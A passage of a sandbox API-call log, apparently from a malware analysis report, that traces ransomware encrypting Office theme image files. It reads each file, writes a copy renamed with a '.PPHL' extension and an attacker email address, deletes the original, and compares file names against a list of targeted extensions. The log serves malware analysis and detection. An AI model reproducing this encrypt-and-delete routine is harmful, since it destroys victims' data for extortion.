dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0078.852] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.852] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0078.853] GetLastError () returned 0x0 [0078.853] ReadFile (in: hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x90f8, lpOverlapped=0x0) returned 1 [0078.909] WriteFile (in: hFile=0x1e8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x9100, lpOverlapped=0x0) returned 1 [0078.911] ReadFile (in: hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0078.911] WriteFile (in: hFile=0x1e8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.911] SetEndOfFile (hFile=0x1e8) returned 1 [0078.911] CloseHandle (hObject=0x1e8) returned 1 [0078.912] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.912] SetEndOfFile (hFile=0x208) returned 1 [0078.914] CloseHandle (hObject=0x208) returned 1 [0078.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0078.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.915] lstrlenW (lpString=".doc") returned 4 [0078.915] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.915] lstrlenW (lpString=".docx") returned 5 [0078.915] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.915] lstrlenW (lpString=".pdf") returned 4 [0078.915] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.915] lstrlenW (lpString=".xls") returned 4 [0078.915] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.915] lstrlenW (lpString=".xlsx") returned 5 [0078.915] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.915] lstrlenW (lpString=".ppt") returned 4 [0078.915] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.915] lstrlenW (lpString=".zip") returned 4 [0078.915] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.916] lstrlenW (lpString=".rar") returned 4 [0078.916] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.916] lstrlenW (lpString=".bz2") returned 4 [0078.916] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.916] lstrlenW (lpString=".7z") returned 3 [0078.916] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.916] lstrlenW (lpString=".dbf") returned 4 [0078.916] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.916] lstrlenW (lpString=".1cd") returned 4 [0078.916] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.916] lstrlenW (lpString=".jpg") returned 4 [0078.916] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.916] lstrlenW (lpString=".doc") returned 4 [0078.916] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.916] lstrlenW (lpString=".docx") returned 5 [0078.916] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.916] lstrlenW (lpString=".pdf") returned 4 [0078.916] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.916] lstrlenW (lpString=".xls") returned 4 [0078.916] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.916] lstrlenW (lpString=".xlsx") returned 5 [0078.916] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.917] lstrlenW (lpString=".ppt") returned 4 [0078.917] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.917] lstrlenW (lpString=".zip") returned 4 [0078.917] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.917] lstrlenW (lpString=".rar") returned 4 [0078.917] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.917] lstrlenW (lpString=".bz2") returned 4 [0078.917] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.917] lstrlenW (lpString=".7z") returned 3 [0078.917] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.917] lstrlenW (lpString=".dbf") returned 4 [0078.917] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.917] lstrlenW (lpString=".1cd") returned 4 [0078.917] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0078.917] lstrlenW (lpString=".jpg") returned 4 [0078.917] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.918] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0078.918] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0078.918] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1423) returned 1 [0078.918] CloseHandle (hObject=0x208) returned 1 [0078.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0078.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0078.919] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.919] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0078.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0080.098] GetLastError () returned 0x0 [0080.098] ReadFile (in: hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x58f, lpOverlapped=0x0) returned 1 [0080.107] WriteFile (in: hFile=0x15c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x590, lpOverlapped=0x0) returned 1 [0080.108] ReadFile (in: hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0080.108] WriteFile (in: hFile=0x15c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0080.108] SetEndOfFile (hFile=0x15c) returned 1 [0080.108] CloseHandle (hObject=0x15c) returned 1 [0080.109] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.109] SetEndOfFile (hFile=0x208) returned 1 [0080.109] CloseHandle (hObject=0x208) returned 1 [0080.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0080.110] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0080.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.110] lstrlenW (lpString=".doc") returned 4 [0080.110] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.110] lstrlenW (lpString=".docx") returned 5 [0080.110] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.110] lstrlenW (lpString=".pdf") returned 4 [0080.110] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.110] lstrlenW (lpString=".xls") returned 4 [0080.110] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.110] lstrlenW (lpString=".xlsx") returned 5 [0080.110] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.110] lstrlenW (lpString=".ppt") returned 4 [0080.110] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.110] lstrlenW (lpString=".zip") returned 4 [0080.110] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.110] lstrlenW (lpString=".rar") returned 4 [0080.110] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.111] lstrlenW (lpString=".bz2") returned 4 [0080.111] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.111] lstrlenW (lpString=".7z") returned 3 [0080.111] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.111] lstrlenW (lpString=".dbf") returned 4 [0080.111] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.111] lstrlenW (lpString=".1cd") returned 4 [0080.111] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.111] lstrlenW (lpString=".jpg") returned 4 [0080.111] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.111] lstrlenW (lpString=".doc") returned 4 [0080.111] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.111] lstrlenW (lpString=".docx") returned 5 [0080.111] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.111] lstrlenW (lpString=".pdf") returned 4 [0080.111] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.111] lstrlenW (lpString=".xls") returned 4 [0080.111] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.111] lstrlenW (lpString=".xlsx") returned 5 [0080.111] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.111] lstrlenW (lpString=".ppt") returned 4 [0080.111] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.111] lstrlenW (lpString=".zip") returned 4 [0080.111] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.111] lstrlenW (lpString=".rar") returned 4 [0080.111] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.111] lstrlenW (lpString=".bz2") returned 4 [0080.111] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.111] lstrlenW (lpString=".7z") returned 3 [0080.112] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.112] lstrlenW (lpString=".dbf") returned 4 [0080.112] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.112] lstrlenW (lpString=".1cd") returned 4 [0080.112] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0080.112] lstrlenW (lpString=".jpg") returned 4 [0080.112] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.112] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0080.112] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0080.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0080.112] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=3611) returned 1 [0080.112] CloseHandle (hObject=0x208) returned 1 [0080.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0080.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0080.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0080.113] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.113] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.113] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0080.115] GetLastError () returned 0x0 [0080.115] ReadFile (in: hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0xe1b, lpOverlapped=0x0) returned 1 [0080.118] WriteFile (in: hFile=0x15c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe20, lpOverlapped=0x0) returned 1 [0080.119] ReadFile (in: hFile=0x208, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0080.119] WriteFile (in: hFile=0x15c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0080.119] SetEndOfFile (hFile=0x15c) returned 1 [0080.119] CloseHandle (hObject=0x15c) returned 1 [0080.119] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0080.119] SetEndOfFile (hFile=0x208) returned 1 [0080.120] CloseHandle (hObject=0x208) returned 1 [0080.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0080.121] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1 [0080.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.121] lstrlenW (lpString=".doc") returned 4 [0080.121] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.121] lstrlenW (lpString=".docx") returned 5 [0080.121] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.121] lstrlenW (lpString=".pdf") returned 4 [0080.121] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.121] lstrlenW (lpString=".xls") returned 4 [0080.121] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.121] lstrlenW (lpString=".xlsx") returned 5 [0080.121] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.121] lstrlenW (lpString=".ppt") returned 4 [0080.121] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.121] lstrlenW (lpString=".zip") returned 4 [0080.121] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.121] lstrlenW (lpString=".rar") returned 4 [0080.121] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.121] lstrlenW (lpString=".bz2") returned 4 [0080.121] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.121] lstrlenW (lpString=".7z") returned 3 [0080.121] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.121] lstrlenW (lpString=".dbf") returned 4 [0080.121] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.121] lstrlenW (lpString=".1cd") returned 4 [0080.122] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.122] lstrlenW (lpString=".jpg") returned 4 [0080.122] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.122] lstrlenW (lpString=".doc") returned 4 [0080.122] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0080.122] lstrlenW (lpString=".docx") returned 5 [0080.122] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0080.122] lstrlenW (lpString=".pdf") returned 4 [0080.122] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0080.122] lstrlenW (lpString=".xls") returned 4 [0080.122] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0080.122] lstrlenW (lpString=".xlsx") returned 5 [0080.122] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0080.122] lstrlenW (lpString=".ppt") returned 4 [0080.122] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0080.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.122] lstrlenW (lpString=".zip") returned 4 [0080.122] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0080.122] lstrlenW (lpString=".rar") returned 4 [0080.122] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0080.122] lstrlenW (lpString=".bz2") returned 4 [0080.122] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0080.122] lstrlenW (lpString=".7z") returned 3 [0080.122] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0080.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.122] lstrlenW (lpString=".dbf") returned 4 [0080.122] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0080.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.122] lstrlenW (lpString=".1cd") returned 4 [0080.122] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0080.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73 [0080.122] lstrlenW (lpString=".jpg") returned 4 [0080.122] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0080.123] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0080.123] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0080.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0080.123] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=34163) returned 1 [0080.123] CloseHandle (hObject=0x208) returned 1 [0080.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20 [0080.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0080.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0080.123] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, 